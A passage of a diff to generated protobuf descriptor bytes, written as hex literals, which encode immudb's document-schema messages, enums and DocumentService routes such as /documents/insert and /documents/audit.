0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x44, 0x22, 0x43, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, - 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, - 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, - 0xe8, 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, - 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, - 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, - 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, - 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0xa7, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, + 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, + 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, + 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x4c, 0x65, + 0x66, 0x74, 0x22, 0x64, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x5b, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, + 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, + 0x06, 0x75, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x75, + 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x3d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x3a, 0x02, 0x38, 0x01, 0x22, 0x68, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xe8, + 0x01, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, + 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x09, + 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x3b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, + 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x60, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, + 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x38, 0x0a, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x17, 0x0a, 0x15, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x4e, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, + 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, + 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1b, 0x0a, 0x05, 0x50, 0x72, + 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x2a, 0x43, 0x0a, 0x0d, 0x51, 0x75, 0x65, 0x72, 0x79, + 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x06, 0x0a, 0x02, 0x45, 0x51, 0x10, 0x00, + 0x12, 0x06, 0x0a, 0x02, 0x47, 0x54, 0x10, 0x01, 0x12, 0x07, 0x0a, 0x03, 0x47, 0x54, 0x45, 0x10, + 0x02, 0x12, 0x06, 0x0a, 0x02, 0x4c, 0x54, 0x10, 0x03, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x54, 0x45, + 0x10, 0x04, 0x12, 0x08, 0x0a, 0x04, 0x4c, 0x49, 0x4b, 0x45, 0x10, 0x05, 0x2a, 0x30, 0x0a, 0x09, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x4f, 0x55, + 0x42, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0b, 0x0a, 0x07, 0x49, 0x4e, 0x54, 0x45, 0x47, 0x45, 0x52, + 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x54, 0x52, 0x49, 0x4e, 0x47, 0x10, 0x02, 0x32, 0xa1, + 0x0b, 0x0a, 0x0f, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, + 0x63, 0x65, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, + 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, + 0x65, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, + 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x99, 0x01, 0x0a, 0x0e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x65, 0x0a, 0x15, 0x43, 0x6f, - 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x4c, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, + 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, + 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, + 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 